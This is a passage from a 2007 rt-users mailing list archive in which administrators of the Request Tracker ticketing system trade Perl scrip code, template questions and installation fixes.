> As I've said, this only partially works.  The new owner does in  
> fact get added as a CC, however no email is sent.  I check the logs  
> and a few things jump out:
>
> The scip itself generates this warning:
>
> Feb 15 12:08:26 rt RT:  at //var/www/rt/rt-3.6.3/lib/RT/Base.pm  
> line 92
> Feb 15 12:08:26 rt      RT::Base::CurrentUser('RT::User=HASH 
> (0xf69eb14)') called at //var/www/rt/rt-3.6.3/lib/RT/Record.pm line 90
> Feb 15 12:08:26 rt      RT::Record::_Init('RT::User=HASH 
> (0xf69eb14)') called at //var/www/rt/rt-3.6.3/lib/RT/User.pm line 79
> Feb 15 12:08:26 rt      RT::User::_Init('RT::User=HASH(0xf69eb14)')  
> called at /usr/lib/perl5/vendor_perl/5.8.8/DBIx/SearchBuilder/ 
> Record.pm line 362
> Feb 15 12:08:26 rt      DBIx::SearchBuilder::Record::new 
> ('RT::User') called at (eval 749) line 2
> Feb 15 12:08:26 rt      eval ' my $last_id = $self->TransactionObj- 
> >NewValue;
> Feb 15 12:08:26 rt my $temp_user = RT::User->new();
> Feb 15 12:08:26 rt $temp_user->Load($last_id);
> Feb 15 12:08:26 rt my $last_email = $temp_user->EmailAddress();
> Feb 15 12:08:26 rt $self->TicketObj->AddWatcher( Type => "Cc",
> Feb 15 12:08:26 rt Email => $last_email);
> Feb 15 12:08:26 rt push( @{$self->{\'To\'}},
> Feb 15 12:08:26 rt $self->TicketObj->QueueObj->Cc- 
> >MemberEmailAddresses );
> Feb 15 12:08:26 rt return 1;' called at //var/www/rt/rt-3.6.3/lib/ 
> RT/Action/UserDefined.pm line 63
> Feb 15 12:08:26 rt      RT::Action::UserDefined::Prepare 
> ('RT::Action::UserDefined=HASH(0xf66cec8)') called at //var/www/rt/ 
> rt-3.6.3/lib/RT/ScripAction_Overlay.pm line 232
> Feb 15 12:08:26 rt      RT::ScripAction::Prepare 
> ('RT::ScripAction=HASH(0xf692ad0)') called at //var/www/rt/rt-3.6.3/ 
> lib/RT/Scrip_Overlay.pm line 476
> Feb 15 12:08:26 rt      eval {...} called at //var/www/rt/rt-3.6.3/ 
> lib/RT/Scrip_Overlay.pm line 470
> <<<SNIP>>>>
> Feb 15 12:08:26 rt RT: RT::User=HASH(0xf69eb14) was created without  
> a CurrentUser 1 (//var/www/rt/rt-3.6.3/lib/RT/Base.pm:92)
>
> And finishes up with
>
> Feb 15 12:08:26 rt RT: About to think about scrips for transaction  
> #458213
> Feb 15 12:08:26 rt RT: About to prepare scrips for transaction #458213
> Feb 15 12:08:26 rt RT: Found 2 scrips
> Feb 15 12:08:26 rt RT: About to commit scrips for transaction #458213
> Feb 15 12:08:26 rt RT: About to commit scrips for transaction #458212
> Feb 15 12:08:26 rt RT:  
> <rt-3.6.3-3363-1171566506-1830.41458-2-0 at matrixorbital.ca>  
> #41458/458212 - Scrip 2  (//var/www/rt/rt-3.6.3/lib/RT/Action/ 
> SendEmail.pm:243)
> Feb 15 12:08:26 rt RT:  
> <rt-3.6.3-3363-1171566506-1830.41458-2-0 at matrixorbital.ca> No  
> recipients found. Not sending. (//var/www/rt/rt-3.6.3/lib/RT/Action/ 
> SendEmail.pm:255)
>
> Any help at all would be greatly appreciated.
>
> --
> -James
>
> _______________________________________________
> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
>
> Community help: http://wiki.bestpractical.com
> Commercial support: sales at bestpractical.com
>
>
> Discover RT's hidden secrets with RT Essentials from O'Reilly  
> Media.Buy a copy at http://rtbook.bestpractical.com

--
James McTavish
Director of Research and Development
Matrix Orbital
(403)229-2737x160




From KFCrocker at lbl.gov  Thu Feb 15 17:57:20 2007
From: KFCrocker at lbl.gov (Kenneth Crocker)
Date: Thu, 15 Feb 2007 14:57:20 -0800
Subject: [rt-users] Source of new ticket: Web or email?
In-Reply-To: <6.2.3.4.2.20070215143346.0380ba50@po14.mit.edu>
References: <45D3B1C9.3090804@oracle.com> <45D418BF.4000705@kereval.com>
	<45D4A981.6090207@lbl.gov>
	<6.2.3.4.2.20070215143346.0380ba50@po14.mit.edu>
Message-ID: <45D4E550.8020505@lbl.gov>

Stephen,


	Thanks for looking at this. Originally, the following code put the 
subject info into CF "Description" and it worked:

#
#----------------------------------------------------------------------------
# Custom condition: none
#----------------------------------------------------------------------------
# Custom action preparation code:

my $cf_obj;
my $cf_name;
my $cf_value;

$cf_obj = RT::CustomField->new($RT::SystemUser);
$cf_name = "Description";
$cf_value = $self->TicketObj->Subject();

$RT::Logger->debug( $self . " cf_value = ". $cf_value . "\n" );

$cf_obj->LoadByName( Name => $cf_name );
$RT::Logger->debug( "Loaded \$cf_obj->Name = ". $cf_obj->Name() ."\n" );
$cf_obj->AddValueForObject( Object  => $self->TicketObj, Content => 
$cf_value, );
return 1;

	However, I modified it (see earlier code) to do this only if it was an 
E_mail ticket. I have the condition set to "OnCreate" and the action as 
"User Defined" and the code in the custom action preparation area. Upon 
execution, the ticket is created via E_mail but the description is 
blank, whereas before it was the same as the subject. I have not 
accessed the logs (another department and they are busy) so I'll try 
that next, maybe I'll get a clue there. Thanks again.

Kenn
LBNL

Stephen Turner wrote:
> At Thursday 2/15/2007 01:42 PM, Kenneth Crocker wrote:
>> To all,
>>
>>
>>         I am trying to determine if a ticket is being created via 
>> E_mail and if so move the subject to a custom field named 
>> "Description". I tried to use this code as follows:
>>
>> #----------------------------------------------------------------------------
>> # Custom condition: none
>> #----------------------------------------------------------------------------
>> # Custom action preparation code:
>>
>> my $trans;
>> my $msgattr;
>> my $cf_obj;
>> my $cf_name;
>> my $cf_value;
>>
>> # set description
>>
>> $cf_obj = RT::CustomField->new($RT::SystemUser);
>> $cf_name = "Description";
>> $cf_value = $self->TicketObj->Subject();
>> $RT::Logger->debug( $self . " cf_value = ". $cf_value . "\n" );
>> $cf_obj->LoadByName( Name => $cf_name );
>> $RT::Logger->debug( "Loaded \$cf_obj->Name = ". $cf_obj->Name() ."\n" );
>> $cf_obj->AddValueForObject( Object=>$self->TicketObj, 
>> Content=>$cf_value, );
>>
>> # determine source of transaction
>>
>> $trans = $self->TransactionObj;
>> return 0 unless $trans->Type eq "Create";
>> $msgattr = $trans->Message->First;
>> return 0 unless $msgattr;
>> return 1 if $msgattr->GetHeader('Received');
>> return 0;
>>
>>
>>         It isn't working for me. Can anyone find the problem in my 
>> code? Thanks.
> 
> 
> Kenn,
> 
> The code looks correct. In what way is it not working? Do you see 
> anything in the RT log? Have you tried putting logging statements in the 
> code to see how far it's getting? Did you remember to set the condition 
> to 'User Defined' in the scrip definition?
> 
> Steve


From cdanger2k at yahoo.com  Thu Feb 15 21:00:28 2007
From: cdanger2k at yahoo.com (Chuck Danger)
Date: Thu, 15 Feb 2007 18:00:28 -0800 (PST)
Subject: [rt-users] new to creating templates
Message-ID: <140258.3487.qm@web38011.mail.mud.yahoo.com>

Hi-

I'm sorta new to creating my own templates and to RT in general.  One thing I would like to do is create a custom template that has some perl embedded in it.  The docs I found seem to indicate that I can use the Text::Template method of embedding perl, i.e., use '{}' to surround the code block, but that does not seem to work.  For a test, I just created a custom template with this (using Autoreplay as a example, but calling it "AutoTest":

Subject: AutoReply: {$Ticket->Subject}


Greetings,

This message has been automatically generated in response to the
creation of a trouble ticket regarding:
    "{$Ticket->Subject()}".

{print "This is a test\n";}

                        Thank you,
                        {$Ticket->QueueObj->CorrespondAddress()}

-------------------------------------------------------------------------
{$Transaction->Content()}

When I receive the reply from this template, where it should be printing out "This is a test", I just get "main::STDOUT".

Thanks-
Chuck C.




 
____________________________________________________________________________________
Don't get soaked.  Take a quick peak at the forecast
with the Yahoo! Search weather shortcut.
http://tools.search.yahoo.com/shortcuts/#loc_weather
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From torsten.brumm at googlemail.com  Fri Feb 16 02:11:59 2007
From: torsten.brumm at googlemail.com (Torsten Brumm)
Date: Fri, 16 Feb 2007 08:11:59 +0100
Subject: [rt-users] CLI Question - Add Users to group per Scrip
In-Reply-To: <45D49F81.6070506@oracle.com>
References: <C1FA430B.47DA%torsten.brumm@kuehne-nagel.com>
	<45D49F81.6070506@oracle.com>
Message-ID: <bdbd084b0702152311m2c9f8c7bv8e764fdd12f1f36f@mail.gmail.com>

Hi Joe,

thats exactly what i'm looking for.

Just a small question to this scrip:

my(@users) = GetListOfUsernames();

Do you get with this a list from RT Users Table ?

Thanks

Torsten

2007/2/15, Joe Casadonte <joe.casadonte at oracle.com>:
>
> On 2/15/2007 11:04 AM, Torsten Brumm | Kuehne + Nagel wrote:
>
> > Again just another question for the CLI Part. Has anyone a idea how to
> add a
> > set of users per scrip to a group?
> >
> > Lets say, i have a list of 500 User that are needed to be member of a
> single
> > group?
>
> I did something similar via a full perl script (as opposed to using the
> CLI).  Here are some excerpts (untested in this form):
>
> #!/usr/bin/perl -w
>
> use strict;
> use lib "/opt/rt3/lib";
>
> use RT;
> use RT::Interface::CLI qw(CleanEnv GetCurrentUser);
> use RT::Group;
> use RT::User;
>
> CleanEnv();
> RT::LoadConfig();
> RT::Init();
>
> my($groupname) = 'FooBar';
> my($group) = RT::Group->new($RT::SystemUser);
> $group->LoadUserDefinedGroup($groupname);
> die qq([ERROR] Cannot load group "$groupname"\n) unless $group->id;
>
> my(@users) = GetListOfUsernames();
> foreach my $username (@users) {
>     my($user) = RT::User->new($RT::SystemUser);
>     $user->Load($username);
>     die qq([ERROR] Could not load user "$username" -- see log for
> details\n) unless $user->id;
>
>     my($status, $msg) = $Groups->{$groupname}->AddMember($user->id);
>     die qq([ERROR] Cannot add user "$id" to group "$groupname" - $msg\n)
> unless $status;
> }
>
> --
> Regards,
>
>
> joe
> Joe Casadonte
> joe.casadonte at oracle.com
>
> ==========                                                  ==========
> == The statements and opinions expressed here are my own and do not ==
> == necessarily represent those of Oracle Corporation.               ==
> ==========                                                  ==========
> _______________________________________________
> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
>
> Community help: http://wiki.bestpractical.com
> Commercial support: sales at bestpractical.com
>
>
> Discover RT's hidden secrets with RT Essentials from O'Reilly Media.
> Buy a copy at http://rtbook.bestpractical.com
>



-- 
MFG

Torsten Brumm

http://www.torsten-brumm.de
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From jesse at bestpractical.com  Thu Feb 15 10:21:57 2007
From: jesse at bestpractical.com (Jesse Vincent)
Date: Thu, 15 Feb 2007 16:21:57 +0100
Subject: [rt-users] Custom fields for Queues
In-Reply-To: <45D47006.6060708@oracle.com>
References: <45D32476.3050906@oracle.com>
	<6AD2B925-1300-4999-8664-E191CBBDF8FF@bestpractical.com>
	<45D4696D.3050206@oracle.com>
	<20070215141509.GZ25008@bestpractical.com>
	<45D47006.6060708@oracle.com>
Message-ID: <7D0651D2-5A1B-4AA4-A365-37D4A36FAADA@bestpractical.com>


On Feb 15, 2007, at 3:36 PM, Joe Casadonte wrote:

> On 2/15/2007 9:15 AM, Jesse Vincent wrote:
>
>>> Specifically, I'm looking to set up a queue owner who gets  
>>> notified of new tickets, but is not added as a Cc or AdminCc to  
>>> the ticket itself.
>> For that, create an "On Create, Notify Other Recipients" scrip with a
>> template with a To: line of the people you want to notify.
>
> Thanks, wasn't sure how the "Notify Other Recipients" worked  
> exactly. But I would then need to do that for each Queue, whereas  
> if I had some way to specify the To: on the Queue itself, I could  
> have one, global scrip.
>


A per-queue template with the same name as a global one will override  
the global one.
>>> In general, it could be used for holding all sorts of information  
>>> to be used by Scrips or reports.  Thanks!
>> For that, you probably want Attributes, not Custom Fields. (though  
>> CFs
>> would work if coded)
>
> What are Attributes with a capital 'A'?  Or am I reading too much  
> into it?
>

perldoc RT::Attribute to get started.

> Thanks!
>
> -- 
> Regards,
>
>
> joe
> Joe Casadonte
> joe.casadonte at oracle.com
>
> ==========                                                  ==========
> == The statements and opinions expressed here are my own and do not ==
> == necessarily represent those of Oracle Corporation.               ==
> ==========                                                  ==========
>

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From torsten.brumm at googlemail.com  Fri Feb 16 03:32:13 2007
From: torsten.brumm at googlemail.com (Torsten Brumm)
Date: Fri, 16 Feb 2007 09:32:13 +0100
Subject: [rt-users] Saved Search AdminCC is me?
In-Reply-To: <45D323A4.9020209@oracle.com>
References: <45D323A4.9020209@oracle.com>
Message-ID: <bdbd084b0702160032x3e974e69tec59b48da52a3d70@mail.gmail.com>

I have a similar problem but not with AdminCC, i would like to create a
globel saved search like:

Requestor=CurrentUser, but this bring back in all version i tried zero
results, if i do it with Creator=CurrentUser the same.
If i do this "hardcoded" like Requestor=torsten.brumm or Creator=
torsten.brumm it works well.

Any ideas?

Torsten

2007/2/14, Joe Casadonte <joe.casadonte at oracle.com>:
>
> > Each user can go in and create a saved search where they are the
> > AdminCC, but what I'd prefer to do is create a saved search where the
> > AdminCC is the email address of the logged on user.
>
> > Any idea how to do that?
>
> Was this ever answered?  I want to do something very similar.
>
> --
> Regards,
>
>
> joe
>
>   ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
> |           Joe Casadonte           |  joe.casadonte at oracle.com     |
> |~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ |
> | Oracle Transportation Management  |  1016 West Ninth Avenue       |
> |~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|  Suite 300                    |
> |           610-491-3315            |  King of Prussia, PA  19406   |
>   ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>
>
> _______________________________________________
> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
>
> Community help: http://wiki.bestpractical.com
> Commercial support: sales at bestpractical.com
>
>
> Discover RT's hidden secrets with RT Essentials from O'Reilly Media.
> Buy a copy at http://rtbook.bestpractical.com
>



-- 
MFG

Torsten Brumm

http://www.torsten-brumm.de
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From uwe.voelker at gmx.de  Fri Feb 16 04:40:51 2007
From: uwe.voelker at gmx.de (Uwe Voelker)
Date: Fri, 16 Feb 2007 10:40:51 +0100
Subject: [rt-users] RT upgrade (3.4.5 -> 3.6.x) and DBMS change
Message-ID: <er3u72$rcv$1@sea.gmane.org>

Hello,

I have a rt 3.4.5 install with sqlite. This is awfully slow! Even a
relatively small database (now at 40 MB) makes this system unusable.

I now want to upgrade to 3.6.x (maybe 3.6.1 in Debian Etch, but 3.6.3
custom install is also possible) with MySQL 5.0.

How can I switch the DBMS? Can I do the upgrade in one step or do I have
to switch to 3.4.5/MySQL and then 3.6.x/MySQL?


Thank you very much,
bye,
Uwe



From joe.casadonte at oracle.com  Fri Feb 16 08:36:51 2007
From: joe.casadonte at oracle.com (Joe Casadonte)
Date: Fri, 16 Feb 2007 08:36:51 -0500
Subject: [rt-users] CLI Question - Add Users to group per Scrip
In-Reply-To: <bdbd084b0702152311m2c9f8c7bv8e764fdd12f1f36f@mail.gmail.com>
References: <C1FA430B.47DA%torsten.brumm@kuehne-nagel.com>	
	<45D49F81.6070506@oracle.com>
	<bdbd084b0702152311m2c9f8c7bv8e764fdd12f1f36f@mail.gmail.com>
Message-ID: <45D5B373.3050303@oracle.com>

On 2/16/2007 2:11 AM, Torsten Brumm wrote:

> my(@users) = GetListOfUsernames();
> 
> Do you get with this a list from RT Users Table ?

Well, for me I was reading the names out of an Excel file, creating the 
users first, and then adding them to a bunch of different groups.  I 
guess what I'm saying is that the implementation of GetListOfUsernames() 
is left as an exercise for the reader....   :)

-- 
Regards,


joe
Joe Casadonte
joe.casadonte at oracle.com

==========                                                  ==========
== The statements and opinions expressed here are my own and do not ==
== necessarily represent those of Oracle Corporation.               ==
==========                                                  ==========


From pooka at t-online.de  Fri Feb 16 09:50:17 2007
From: pooka at t-online.de (Olaf Hamann)
Date: Fri, 16 Feb 2007 15:50:17 +0100
Subject: [rt-users] Custom fields for Queues
In-Reply-To: <C1F8E67B.4745%torsten.brumm@kuehne-nagel.com>
References: <C1F8E67B.4745%torsten.brumm@kuehne-nagel.com>
Message-ID: <45D5C4A9.4000803@t-online.de>

This might be a configuration question. (RT 3.6.1)

After creating a custom field you have to assign it to any queue, 
otherwise it would not be seen there.

This assignment can be done individually queue by queue.

So I we have some CF created once and get used in all Queues, while 
other CFs (e.g.  Selectlist 'CPU' ) are created more than once with 
diffent values (one with 16bit-cpus  one with 32bit-cpus)

Then assigned in Queue support-16bit only the 16bit-CF

Does this touch your question? Or did'nt I understand your question.


Regards,
Olaf Hamann

Torsten Brumm | Kuehne + Nagel wrote:

> Thats something i asked for several time during the last 5 years ;-)
> 
> I would like to have it!
> 
> 
> On 14.02.2007 16:02 Uhr, "Joe Casadonte" <joe.casadonte at oracle.com> wrote:
> 
> 
>>Would this be easy to hack in?  I haven't touched the schema at all, so
>>I don't know what's involved....
> 
> 


From pooka at t-online.de  Fri Feb 16 10:37:28 2007
From: pooka at t-online.de (Olaf Hamann)
Date: Fri, 16 Feb 2007 16:37:28 +0100
Subject: [rt-users] How to prevent from creating tickets via email
Message-ID: <45D5CFB8.8080400@t-online.de>

Hi list,

I think it concerns configuration, but I cannot find the answer.

We want clients to be able to reply on a ticket by email.
(that works fine)

But we do not want them to be able to create tickets by email

At the moment they can send to the rt-queue-emailaddress and a ticket 
will be created in that queue.

Is it possible to prevent that?

Thank you very much.

Olaf Hamann




From davee at ceu.ox.ac.uk  Fri Feb 16 10:54:10 2007
From: davee at ceu.ox.ac.uk (Dave Ewart)
Date: Fri, 16 Feb 2007 15:54:10 +0000
Subject: [rt-users] Re: How to prevent from creating tickets via email
In-Reply-To: <45D5CFB8.8080400@t-online.de>
References: <45D5CFB8.8080400@t-online.de>
Message-ID: <20070216155410.GY17790@nemesis.ceu.ox.ac.uk>

On Friday, 16.02.2007 at 16:37 +0100, Olaf Hamann wrote:

> I think it concerns configuration, but I cannot find the answer.
> 
> We want clients to be able to reply on a ticket by email.  (that works
> fine)
> 
> But we do not want them to be able to create tickets by email
> 
> At the moment they can send to the rt-queue-emailaddress and a ticket
> will be created in that queue.
> 
> Is it possible to prevent that?

You could probably do that by revoking "CreateTicket" permission from
group "Everyone".

However, if you did what you are proposing, how would tickets be created
in the first place?  Are you just trying to stop *email* creation of
tickets and encourage people to use the web interface to create tickets?

An alternative would be to put procmail on your RT mail account and
ensure that anything which looks like a non-RT email doesn't reach RT.

Dave.
-- 
Dave Ewart
davee at ceu.ox.ac.uk
Computing Manager, Cancer Epidemiology Unit
Cancer Research UK / Oxford University
PGP: CC70 1883 BD92 E665 B840 118B 6E94 2CFD 694D E370
Get key from http://www.ceu.ox.ac.uk/~davee/davee-ceu-ox-ac-uk.asc
N 51.7518, W 1.2016
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From joe.casadonte at oracle.com  Fri Feb 16 11:17:00 2007
From: joe.casadonte at oracle.com (Joe Casadonte)
Date: Fri, 16 Feb 2007 11:17:00 -0500
Subject: [rt-users] How to prevent from creating tickets via email
In-Reply-To: <45D5CFB8.8080400@t-online.de>
References: <45D5CFB8.8080400@t-online.de>
Message-ID: <45D5D8FC.80604@oracle.com>

On 2/16/2007 10:37 AM, Olaf Hamann wrote:

> At the moment they can send to the rt-queue-emailaddress and a ticket 
> will be created in that queue.
> 
> Is it possible to prevent that?

perldoc rt-mailgate

At the bottom, look at the sections on Customization and Writing 
Plugins.  You'd basically need a plugin that rejects anything where the 
ticket argument does not exist.  There are a couple of plugins already 
in <rt-root>/lib/RT/Interface/Email that you can look at for examples.

-- 
Regards,


joe
Joe Casadonte
joe.casadonte at oracle.com

==========                                                  ==========
== The statements and opinions expressed here are my own and do not ==
== necessarily represent those of Oracle Corporation.               ==
==========                                                  ==========


From JohnWAugust3 at aol.com  Fri Feb 16 12:29:26 2007
From: JohnWAugust3 at aol.com (JohnWAugust3 at aol.com)
Date: Fri, 16 Feb 2007 12:29:26 EST
Subject: [rt-users] "Depends On" refers to self
Message-ID: <bc3.a5910b7.330743f6@aol.com>

 
I'm having a problem with query display info referring to their own  ticket 
ID when displaying the "Depends On" field. I've checked the archives and  the 
only mention of the problem is based on version that is older than mine  where 
the fix involved upgrading. I'm currently on 3.4.4. Any help with this  
problem?
 
John W.  August III
Associate Technical Project Manager
Portal  Services
johnwaugust3 at aol.com
703-265-6544 (office)
703-725-7575  (cell)

 
John W.  August III
Associate Project Manager
Portal  Services
johnwaugust3 at aol.com
703-265-6544 (office)
703-725-7575  (cell)

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From lesmikesell at gmail.com  Fri Feb 16 11:50:09 2007
From: lesmikesell at gmail.com (Les Mikesell)
Date: Fri, 16 Feb 2007 10:50:09 -0600
Subject: [rt-users] How to prevent from creating tickets via email
In-Reply-To: <45D5D8FC.80604@oracle.com>
References: <45D5CFB8.8080400@t-online.de> <45D5D8FC.80604@oracle.com>
Message-ID: <45D5E0C1.7020505@gmail.com>

Joe Casadonte wrote:
> On 2/16/2007 10:37 AM, Olaf Hamann wrote:
> 
>> At the moment they can send to the rt-queue-emailaddress and a ticket 
>> will be created in that queue.
>>
>> Is it possible to prevent that?
> 
> perldoc rt-mailgate
> 
> At the bottom, look at the sections on Customization and Writing 
> Plugins.  You'd basically need a plugin that rejects anything where the 
> ticket argument does not exist.  There are a couple of plugins already 
> in <rt-root>/lib/RT/Interface/Email that you can look at for examples.

If these are unprivileged users you must have CreateTicket rights for 
the 'Everyone' group in order for email to add a new ticket.  If you 
just give CommentOnTicket, ModifyTicket, and ReplyToTicket, email would 
work for responses to existing tickets.  However it might be better to 
intercept this in the email handler so you can give a more polite response.

-- 
   Les Mikesell
    lesmikesell at gmail.com



From Raphael.berlamont at raphux.com  Fri Feb 16 12:45:21 2007
From: Raphael.berlamont at raphux.com (Raphael Berlamont)
Date: Fri, 16 Feb 2007 18:45:21 +0100 (CET)
Subject: [rt-users] Perl module detection at installation (Text::Quoted)
Message-ID: <44767.88.191.12.192.1171647921.squirrel@webmail2.raphux.com>

Hello list,

I'm doing a fresh install of RT3.6.3 on an updated Fedora 6. The version
of Text::Quoted is version 1.10, and it seems that make testdeps is
returning something that it shouldn't :
Text::Quoted 1.3...MISSING
        Text::Quoted version 1.3 required--this is only version 1.10 at
(eval 71) line 2.

I looked into the "sbin/rt-test-dependencies" file, and it seems that the
detection is done by perl itself within this line (l.314) :
-----8<----------
eval "use $module $version ()";
-----8<----------

Which actually returns an error :
-----8<----------
$ perl -e "use Text::Quoted 1.3 ();"
Text::Quoted version 1.3 required--this is only version 1.10 at -e line 1.
BEGIN failed--compilation aborted at -e line 1.
$
-----8<----------

I'm not a perl expert, and the only way I found to get arround this, is to
change the detected version of Text::Quoted in the file
sbin/rt-test-dependencies, replacing 1.3 by 1.10, line 182 :
-----8<---------
Text::Quoted 1.10
-----8<---------

Is there any better way do do this?

-- 
Raph.


From jmhanks1373 at hotmail.com  Fri Feb 16 13:47:57 2007
From: jmhanks1373 at hotmail.com (Jared Hanks)
Date: Fri, 16 Feb 2007 10:47:57 -0800
Subject: [rt-users] Sending one email when replying and resolving a ticket
Message-ID: <BAY118-W27864665D82338E421027B1950@phx.gbl>

Hello,
 
I have the template "On Resolve Notify Requestors with template Resolved" enabled to send when a ticket is resolved.  When a ticket it replied to and set to status resolve it sends 2 emails.  I would like it to only send one email.  If a ticket it resolved, send the template Resolved.  If it is replied to and resolved send the correspondence, and add the template Resolved at the bottom of the correspondence.  I'm guessing this is possible to do with custom conditions, but am not sure how to do it.  Anyone have any suggestions, or have done something similar?
 
Any help is appreciated.
Thanks,
Jared
_________________________________________________________________
Windows Live? Messenger 8.1 is here! Download now.
http://g.msn.com/8reen_us/EN/INSTALL_MSN_MESSENGER_DL.EXE
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From mikef at ack.berkeley.edu  Fri Feb 16 14:08:30 2007
From: mikef at ack.berkeley.edu (Mike Friedman)
Date: Fri, 16 Feb 2007 11:08:30 -0800 (PST)
Subject: [rt-users] Problem installing HTML::TreeBuilder and HTML::FormatText
Message-ID: <20070216105713.M60053@malcolm.berkeley.edu>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

I'm trying to install all the pre-reqs for RT 3.6.3 on a Solaris 10 (x86) 
platform.  This is a clean RT install, not an upgrade.

I've managed to get all the modules shown by 'make testdeps' installed, 
via CPAN (or already on the system), except for these two:

   HTML::TreeBuilder
   HTML::FormatText

In the case of both of the above, I get the following messages (among 
others) during the install.  (After 'make fixdeps' failed to install them, 
I just tried to install them each manually, using the CPAN module):

========================================================
While running 'make test':

   Wide character in print at /users/ist-rt/share/perl/5.8.8/Test/Builder.pm line 1192.
   #   Failed test 'href should contain 'lang' (is: http://wherever/moo.cgi?xyz=123\342\214\251=en)'
   #   at t/attributes.t line 25.
        t/attributes........NOK 1# Looks like you failed 1 test of 1.
        t/attributes........dubious
        Test returned status 1 (wstat 256, 0x100)
   DIED. FAILED test 1
     Failed 1/1 tests, 0.00% okay

...

    Failed 1/17 test scripts, 94.12% okay. 1/746 subtests failed, 99.87% okay.
    *** Error code 29
    make: Fatal error: Command failed for target `test_dynamic'
      /usr/ccs/bin/make test -- NOT OK
    Running make install
      make test had returned bad status, won't install without force
========================================================

Any suggestions?

Mike

_________________________________________________________________________
Mike Friedman                        IST/System and Network Security
mikef at ack.Berkeley.EDU               2484 Shattuck Avenue
1-510-642-1410                       University of California at Berkeley
http://socrates.berkeley.edu/~mikef  http://security.berkeley.edu
_________________________________________________________________________

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From rmatney at amicus.com  Fri Feb 16 13:46:21 2007
From: rmatney at amicus.com (Robert Matney)
Date: Fri, 16 Feb 2007 12:46:21 -0600
Subject: [rt-users] Scrip to add transaction-based CF 'Time Spent' into
	Ticket's 'Time Worked'
Message-ID: <3C83A874-31FE-41CB-BF85-B3C0B19DD8CD@amicus.com>

Obligatory advance n00b warning. I have searched wiki, book and mail  
archives w/o success.

Goals:
1. Create transaction applicable Custom Field allowing users to track  
time (in hh:mm format) per transaction
2. Create a scrip which adds the value of this custom field to the  
current value of the 'Time Worked' field

Problem:
-> I do not see how to set validate the CF value as hh:mm
-> I am uncertain how to code the scrip

Can anyone point me in the right direction?
Thank you in advance.

Thank you,
Robert Matney


From ruslan.zakirov at gmail.com  Fri Feb 16 15:21:11 2007
From: ruslan.zakirov at gmail.com (Ruslan Zakirov)
Date: Fri, 16 Feb 2007 23:21:11 +0300
Subject: [rt-users] Perl module detection at installation (Text::Quoted)
In-Reply-To: <44767.88.191.12.192.1171647921.squirrel@webmail2.raphux.com>
References: <44767.88.191.12.192.1171647921.squirrel@webmail2.raphux.com>
Message-ID: <589c94400702161221k61f29698n1f10d7b52a29b0fb@mail.gmail.com>

This requirement's been updated to 1.10 in the repo so there is no
need in a fix, but anyway in this case '1.03' should work.

On 2/16/07, Raphael Berlamont <Raphael.berlamont at raphux.com> wrote:
> Hello list,
>
> I'm doing a fresh install of RT3.6.3 on an updated Fedora 6. The version
> of Text::Quoted is version 1.10, and it seems that make testdeps is
> returning something that it shouldn't :
> Text::Quoted 1.3...MISSING
>         Text::Quoted version 1.3 required--this is only version 1.10 at
> (eval 71) line 2.
>
> I looked into the "sbin/rt-test-dependencies" file, and it seems that the
> detection is done by perl itself within this line (l.314) :
> -----8<----------
> eval "use $module $version ()";
> -----8<----------
>
> Which actually returns an error :
> -----8<----------
> $ perl -e "use Text::Quoted 1.3 ();"
> Text::Quoted version 1.3 required--this is only version 1.10 at -e line 1.
> BEGIN failed--compilation aborted at -e line 1.
> $
> -----8<----------
>
> I'm not a perl expert, and the only way I found to get arround this, is to
> change the detected version of Text::Quoted in the file
> sbin/rt-test-dependencies, replacing 1.3 by 1.10, line 182 :
> -----8<---------
> Text::Quoted 1.10
> -----8<---------
>
> Is there any better way do do this?
>
> --
> Raph.
> _______________________________________________
> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
>
> Community help: http://wiki.bestpractical.com
> Commercial support: sales at bestpractical.com
>
>
> Discover RT's hidden secrets with RT Essentials from O'Reilly Media.
> Buy a copy at http://rtbook.bestpractical.com
>


-- 
Best regards, Ruslan.


From jesse at bestpractical.com  Fri Feb 16 18:40:54 2007
From: jesse at bestpractical.com (Jesse Vincent)
Date: Fri, 16 Feb 2007 18:40:54 -0500
Subject: [rt-users] Perl module detection at installation (Text::Quoted)
In-Reply-To: <44767.88.191.12.192.1171647921.squirrel@webmail2.raphux.com>
References: <44767.88.191.12.192.1171647921.squirrel@webmail2.raphux.com>
Message-ID: <20070216234054.GL25008@bestpractical.com>




On Fri, Feb 16, 2007 at 06:45:21PM +0100, Raphael Berlamont wrote:
> Hello list,
> 
> I'm doing a fresh install of RT3.6.3 on an updated Fedora 6. The version
> of Text::Quoted is version 1.10, and it seems that make testdeps is
> returning something that it shouldn't :
> Text::Quoted 1.3...MISSING
>         Text::Quoted version 1.3 required--this is only version 1.10 at
> (eval 71) line 2.
> 
> I looked into the "sbin/rt-test-dependencies" file, and it seems that the
> detection is done by perl itself within this line (l.314) :

That's a bug. But a harmless one. It's safe to ignore.  We'll work on a
proper fix.

> -----8<----------
> eval "use $module $version ()";
> -----8<----------
> 
> Which actually returns an error :
> -----8<----------
> $ perl -e "use Text::Quoted 1.3 ();"
> Text::Quoted version 1.3 required--this is only version 1.10 at -e line 1.
> BEGIN failed--compilation aborted at -e line 1.
> $
> -----8<----------
> 
> I'm not a perl expert, and the only way I found to get arround this, is to
> change the detected version of Text::Quoted in the file
> sbin/rt-test-dependencies, replacing 1.3 by 1.10, line 182 :
> -----8<---------
> Text::Quoted 1.10
> -----8<---------
> 
> Is there any better way do do this?
> 
> -- 
> Raph.
> _______________________________________________
> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
> 
> Community help: http://wiki.bestpractical.com
> Commercial support: sales at bestpractical.com
> 
> 
> Discover RT's hidden secrets with RT Essentials from O'Reilly Media. 
> Buy a copy at http://rtbook.bestpractical.com
> 

-- 


From cabal at u.washington.edu  Fri Feb 16 22:46:42 2007
From: cabal at u.washington.edu (John H. Nyhuis)
